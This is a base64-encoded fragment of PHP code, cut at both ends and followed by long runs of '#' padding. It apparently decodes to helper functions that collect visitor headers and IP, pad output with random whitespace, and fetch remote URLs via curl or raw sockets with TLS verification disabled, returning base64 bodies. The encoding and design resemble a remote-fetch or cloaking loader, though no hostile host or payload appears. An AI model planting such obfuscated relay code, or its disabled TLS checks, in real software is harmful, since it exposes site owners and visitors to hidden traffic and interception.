TyddKSkgJHByb3RvPSRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ107CgllbHNlICRwcm90bz0naHR0cCc7CgkkYmFzZT0kcHJvdG8uIjovLyIuJF9TRVJWRVJbIkhUVFBfSE9TVCJdOwoJJGJhc2UuPSRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdOwoJcmV0dXJuICRiYXNlOwoJfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gZ2V0X2luY29taW5nX2hlYWRlcnMoKQoJCXsKCSRza2lwdGhpcyA9IGFycmF5CSgKICAgICAgICAJJ0hUVFBfSE9TVCcsCgkJJ0hUVFBfQUNDRVBUJywKCSAgICAgICAgJ0hUVFBfQUNDRVBUX0VOQ09ESU5HJwoJCQkJKTsKCSRjbGllbnRfaGVhZGVycz1hcnJheSgpOwoJZm9yZWFjaCAoJF9TRVJWRVIgYXMgJGtleSA9PiAkdmFsdWUpCgkJCXsKCSRrZXk9c3RydG91cHBlcigka2V5KTsKCWlmICgoc3RycG9zKCRrZXksICdIVFRQXycpICE9PSAwKSB8fCAoaW5fYXJyYXkoJGtleSwkc2tpcHRoaXMpKSkgY29udGludWU7CgkkY2xpZW50X2hlYWRlcnNbJGtleV09JHZhbHVlOwoJCQl9CgoJJGNsaWVudF9oZWFkZXJzWydSRU1PVEVfQUREUiddPXJlc29sdmVfY2xpZW50X2lwKCk7CgovLwlwcmludF9yKCRjbGllbnRfaGVhZGVycyk7CglyZXR1cm4gYXJyYXkoJ3Zpc2l0b3JfaGVhZGVycyc9PiRjbGllbnRfaGVhZGVycyk7CgkJfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gZXh0cmFjdF9rYXYoJGlucHV0KSB7IC8vZXh0cmFjdCBrZXkgYW5kIHZhbHVlcwoJJGFyciA9IChpc19hcnJheSgkaW5wdXQpID8gYXJyYXlfbWVyZ2UoYXJyYXlfa2V5cygkaW5wdXQpLGFycmF5X3ZhbHVlcygkaW5wdXQpKSA6IGFycmF5KCRpbnB1dCkpOwoJJGFycnggPSBhcnJheSgpOwoJZm9yZWFjaCAoJGFyciBhcyAkc3RyaW5nKQoJCQl7CgkJaWYgKHN0cnBvcygkc3RyaW5nLCddJyk9PT1GQUxTRSkgY29udGludWU7CgkJJHN0cmluZz1zdHJfcmVwbGFjZSgnXScsJycsJHN0cmluZyk7CgkJZm9yZWFjaCAoZXhwbG9kZSgnWycsJHN0cmluZykgYXMgJG5hbWUpICRhcnJ4W109JG5hbWU7CgkJCX0KCXJldHVybiBhcnJheV9tZXJnZSgkYXJyLCRhcnJ4KTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gbXAoJGFycj0nJywkY29udD1GQUxTRSkKICAgICAgICB7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkYXJyKTsKICAgICAgICBpZiAoISRjb250KSBleGl0KDApOwogICAgICAgIH0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIG1yZWFkZmlsZSgkZmlsZT0nJykKICAgICAgICB7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSAmJiBpc19yZWFkYWJsZSgkZmlsZSkpIHJldHVybiBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CiAgICAgICAgZWxzZSByZXR1cm4gRkFMU0U7CiAgICAgICAgfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gcmkoJiR2YXJpYWJsZSwgJGRlZmF1bHQgPSBudWxsKQp7CiAgICAgICAgaWYgKGlzc2V0KCR2YXJpYWJsZSkpIHsKICAgICAgICAgICAgcmV0dXJuICR2YXJpYWJsZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJGRlZmF1bHQ7CiAgICAgICAgfQp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiBnZW5lcmF0ZV9yYW5kb21fc3RyaW5nKCRsZW5ndGggPSAxMCkgewogICAgJGNoYXJhY3RlcnMgPSAnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWic7CiAgICAvLyBSZXBlYXQgdGhlIGNoYXJhY3RlciBzZXQgdG8gZW5zdXJlIGFsbCBjaGFyYWN0ZXJzIGNhbiBwb3RlbnRpYWxseSByZXBlYXQKICAgICRzaHVmZmxlZF9jaGFycyA9IHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJGNoYXJhY3RlcnMsIGNlaWwoJGxlbmd0aCAvIHN0cmxlbigkY2hhcmFjdGVycykpKSk7CiAgICAvLyBFeHRyYWN0IGEgc3Vic3RyaW5nIG9mIHRoZSBkZXNpcmVkIGxlbmd0aAogICAgcmV0dXJuIHN1YnN0cigkc2h1ZmZsZWRfY2hhcnMsIDAsICRsZW5ndGgpOwp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiBieXRlMigkYnl0ZXMpIHsKICAgICAgICAkc2l6ZSA9IGFycmF5KCdCL3MnLCdLQi9zJywnTUIvcycsJ0dCL3MnLCdUQi9zJyk7CiAgICAgICAgJGZhY3RvciA9IGZsb29yKGxvZygkYnl0ZXMsIDEwMjQpKTsKICAgICAgICAkZm9ybWF0ID0gJGZhY3RvciA+IDIgPyAnJS4xRiAlcycgOiAnJXUgJXMnOwogICAgICAgIHJldHVybiBzcHJpbnRmKCRmb3JtYXQsICRieXRlcyAvIHBvdygxMDI0LCAkZmFjdG9yKSwgJHNpemVbJGZhY3Rvcl0pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiByYW5kb21pemVfb3V0cHV0KCkKCQl7Cgkkb3V0PSIiOwoJJHJuZGNoYXJzPWFycmF5KCJcbiIsIlx0IiwiICIpOwoJZm9yICgkaT0wOyRpPD1yYW5kKDMsMTUpOyRpKyspICRvdXQuPSRybmRjaGFyc1thcnJheV9yYW5kKCRybmRjaGFycyldOwoJcmV0dXJuICRvdXQ7CgkJfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gc3BsaXRSZXNwb25zZUhlYWRlcnMoJGhlYWRlclN0cmluZykKewogICAgJHJlc3VsdHMgPSBhcnJheSgpOwogICAgJGhlYWRlckxpbmVzID0gcHJlZ19zcGxpdCgnL1tcclxuXSsvJywgJGhlYWRlclN0cmluZyk7CiAgICBmb3JlYWNoICgkaGVhZGVyTGluZXMgYXMgJGhlYWRlckxpbmUpIHsKICAgICAgICBpZiAoZW1wdHkoJGhlYWRlckxpbmUpKSB7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KCiAgICAgICAgLy8gSGVhZGVyIGNvbnRhaW5zIEhUVFAgdmVyc2lvbiBzcGVjaWZpY2F0aW9uIGFuZCBwYXRoCiAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyTGluZSwgJ0hUVFAvJykgPT09IDApIHsKICAgICAgICAgICAgLy8gUmVzZXQgdGhlIG91dHB1dCBhcnJheSBhcyB0aGVyZSBtYXkgYnkgbXVsdGlwbGUgcmVzcG9uc2UgaGVhZGVycwogICAgICAgICAgICAkcmVzdWx0cyA9IGFycmF5KCk7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KCiAgICAgICAgJHJlc3VsdHNbXSA9ICIkaGVhZGVyTGluZSI7CiAgICB9CgogICAgcmV0dXJuICRyZXN1bHRzOwp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2h0dHBfcmVzcG9uc2VfY29kZScpKSB7CiAgICAgICAgZnVuY3Rpb24gaHR0cF9yZXNwb25zZV9jb2RlKCRjb2RlID0gTlVMTCkgewogICAgICAgICAgICBpZiAoJGNvZGUgIT09IE5VTEwpIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9ICdDcmVhdGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOwogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2h0dHBfcmVzcG9uc2VfY29kZSddID0gJGNvZGU7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkY29kZSA9IChpc3NldCgkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10pID8gJEdMT0JBTFNbJ2h0dHBfcmVzcG9uc2VfY29kZSddIDogMjAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGNvZGU7CiAgICAgICAgfQogICAgfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gcmVxdWVzdCgkdGFyZ2V0VXJsLCRyZXF1ZXN0X2FwaSwkaGVhZGVycz1hcnJheSgpKQogICAgICAgIHsKCgkkcmVzcG9uc2VDb2RlPUZBTFNFOwoJJHJlc3BvbnNlSGVhZGVyPUZBTFNFOwoJJHJlc3BvbnNlQm9keT1GQUxTRTsKCglzd2l0Y2ggKCRyZXF1ZXN0X2FwaSkgCXsKICAgICAgICAJY2FzZSAnY3VybCc6CgkJCSRyZXF1ZXN0ID0gY3VybF9pbml0KCR0YXJnZXRVcmwpOwoJCQljdXJsX3NldG9wdF9hcnJheSgkcmVxdWVzdCwgYXJyYXkoCi8vCQkJICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gdHJ1ZSwKCQkJICAgIENVUkxPUFRfSEVBREVSID0+IHRydWUsCgkJCSAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsCgkJCSAgICBDVVJMSU5GT19IRUFERVJfT1VUID0+IHRydWUsCgkJCSAgICBDVVJMT1BUX0hUVFBIRUFERVIgPT4gJGhlYWRlcnMsCgkJCSAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSPT5mYWxzZSwKCQkJICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q9PmZhbHNlLAoJCQkgICAgQ1VSTE9QVF9IVFRQX1ZFUlNJT049PiBDVVJMX0hUVFBfVkVSU0lPTl8xXzAKCQkJCQkJCSkpOwoJCQkkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJHJlcXVlc3QpOwoJCQkkaGVhZGVyU2l6ZSA9IGN1cmxfZ2V0aW5mbygkcmVxdWVzdCwgQ1VSTElORk9fSEVBREVSX1NJWkUpOwoJCQkkcmVzcG9uc2VIZWFkZXIgPSBzdWJzdHIoJHJlc3BvbnNlLCAwLCAkaGVhZGVyU2l6ZSk7CgkJCSRyZXNwb25zZUJvZHkgPSBzdWJzdHIoJHJlc3BvbnNlLCAkaGVhZGVyU2l6ZSk7CgkJCSRyZXNwb25zZUluZm8gPSBjdXJsX2dldGluZm8oJHJlcXVlc3QpOwoJCQkkcmVzcG9uc2VDb2RlID0gcmkoJHJlc3BvbnNlSW5mb1snaHR0cF9jb2RlJ10sIDUwMCk7CgkJCSRyZWRpcmVjdENvdW50ID0gcmkoJHJlc3BvbnNlSW5mb1sncmVkaXJlY3RfY291bnQnXSwgMCk7CgkJCSRyZXF1ZXN0SGVhZGVycyA9IHByZWdfc3BsaXQoJy9bXHJcbl0rLycsIHJpKCRyZXNwb25zZUluZm9bJ3JlcXVlc3RfaGVhZGVyJ10sICcnKSk7CgkJCWlmICgkcmVzcG9uc2VDb2RlID09PSAwKSB7CgkJCSAgICAkcmVzcG9uc2VDb2RlID0gNDA0OwoJCQkJCQl9CgoJCQkkZmluYWxSZXF1ZXN0VVJMID0gY3VybF9nZXRpbmZvKCRyZXF1ZXN0LCBDVVJMSU5GT19FRkZFQ1RJVkVfVVJMKTsKCQkJCWlmICgkcmVkaXJlY3RDb3VudCA+IDAgJiYgIWVtcHR5KCRmaW5hbFJlcXVlc3RVUkwpKSB7CgkJCQkgICAgJGZpbmFsUmVxdWVzdFVSTFBhcnRzID0gcGFyc2VfdXJsKCRmaW5hbFJlcXVlc3RVUkwpOwoJCQkJICAgICRlZmZlY3RpdmVVUkwgPSByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ3NjaGVtZSddLCAnaHR0cCcpIC4gJzovLycgLgoJCQkJICAgICAgICByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ2hvc3QnXSkgLiByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ3BhdGgnXSwgJycpOwoJCQkJCQkJCQkJfQoKCQkJY3VybF9jbG9zZSgkcmVxdWVzdCk7CiAgICAgICAgICAgICAgICAJYnJlYWs7CgoJICAgICAgICBjYXNlICdzc2MnOgoJJHB1PXBhcnNlX3VybCgkdGFyZ2V0VXJsKTsKCSRxdWVyeSA9IGlzc2V0KCRwdVsncXVlcnknXSkgPyAnPycuJHB1WydxdWVyeSddIDogJyc7CgkkaG9zdD0kcHVbImhvc3QiXTsKCSRwYXRoPSRwdVsicGF0aCJdOwoJJHByZWZpeCA9ICgkcHVbInNjaGVtZSJdPT0naHR0cHMnKSA/ICdzc2w6Ly8nIDogJ3RjcDovLyc7CgkkcG9ydCA9IChpc3NldCgkcHVbInBvcnQiXSkpID8gJHB1WyJwb3J0Il0gOiBOVUxMOwoJaWYgKCEkcG9ydCkgJHBvcnQgPSAoJHByZWZpeD09J3NzbDovLycpID8gNDQzIDogODA7CgkkaG9zdG5hbWUgPSAkcHJlZml4LiRob3N0LiI6Ii4kcG9ydDsKCSRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KAoJICAgICdzc2wnID0+IGFycmF5KAoJICAgICAgICAndmVyaWZ5X3BlZXInID0+IGZhbHNlLAoJICAgICAgICAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2UKCQkJKQoJCQkJCSkpOwoJJGZwID0gc3RyZWFtX3NvY2tldF9jbGllbnQoJGhvc3RuYW1lLCAkZXJybm8sICRlcnJzdHIsIGluaV9nZXQoImRlZmF1bHRfc29ja2V0X3RpbWVvdXQiKSwgU1RSRUFNX0NMSUVOVF9DT05ORUNULCAkY29udGV4dCk7CglpZighJGZwKSBkaWUoJ05LRE0nKTsKCSRyZXF1ZXN0PSAnR0VUICcuJHBhdGguJHF1ZXJ5LicgJy4iSFRUUC8xLjBcclxuIjsgIAoJJHJlcXVlc3QuPSAiSE9TVDogJGhvc3RcclxuIjsKCSRyZXF1ZXN0Lj0gIkNvbm5lY3Rpb246IENsb3NlXHJcbiI7CgkkcmVxdWVzdC49aW1wbG9kZSgiXHJcbiIsJGhlYWRlcnMpLiJcclxuIjsKCSRyZXF1ZXN0Lj0iXHJcblxyXG4iOwoKCWZwdXRzKCRmcCwkcmVxdWVzdCk7CgkkaXNoZWFkZXI9VFJVRTsKCSRyZXNwb25zZUhlYWRlcj0iIjsKCSRyZXNwb25zZUJvZHk9IiI7CgkgICAgd2hpbGUgKCgkbGluZSA9IGZnZXRzKCRmcCkpICE9PSBmYWxzZSkgewoJCQlpZiAoJGlzaGVhZGVyKQoJCQkJewoJCQlpZiAoJHJlc3BvbnNlSGVhZGVyPT0nJykgbGlzdCgkaHR0cCwkcmVzcG9uc2VDb2RlLCRtc2cpPWV4cGxvZGUoJyAnLCRsaW5lKTsgLy9nZXQgaHR0cCByZXNwb25zZSBjb2RlIGZyb20gZmlyc3QgbGluZQoJCQkkcmVzcG9uc2VIZWFkZXIuPSRsaW5lOwoJCQkJfQoJCQlpZiAoKCRsaW5lPT0iXHJcbiIpICYmICRpc2hlYWRlcikJICB7CgkJCQkJICAgICAgICRpc2hlYWRlcj1GQUxTRTsKCQkJCQkgICAgICAgJGxpbmU9Jyc7CgkJCQkJICAgICAgIGNvbnRpbnVlOwoJCQkJICAgCSAJCQkgIH0KCQkJCQlpZiAoISRpc2hlYWRlcikgJHJlc3BvbnNlQm9keS49JGxpbmU7CgkJICAgIAkJCQkJfQoJIAlmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIAlicmVhazsKCgkJICAgIGRlZmF1bHQ6CgkgICAgICAgIHJldHVybiBGQUxTRTsKCQkgICAgICAgCQl9CgoJcmV0dXJuIGFycmF5KCRyZXNwb25zZUNvZGUsJHJlc3BvbnNlSGVhZGVyLGJhc2U2NF9lbmNvZGUoJHJlc3BvbnNlQm9keSkpOwoJfQoKCgoKCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj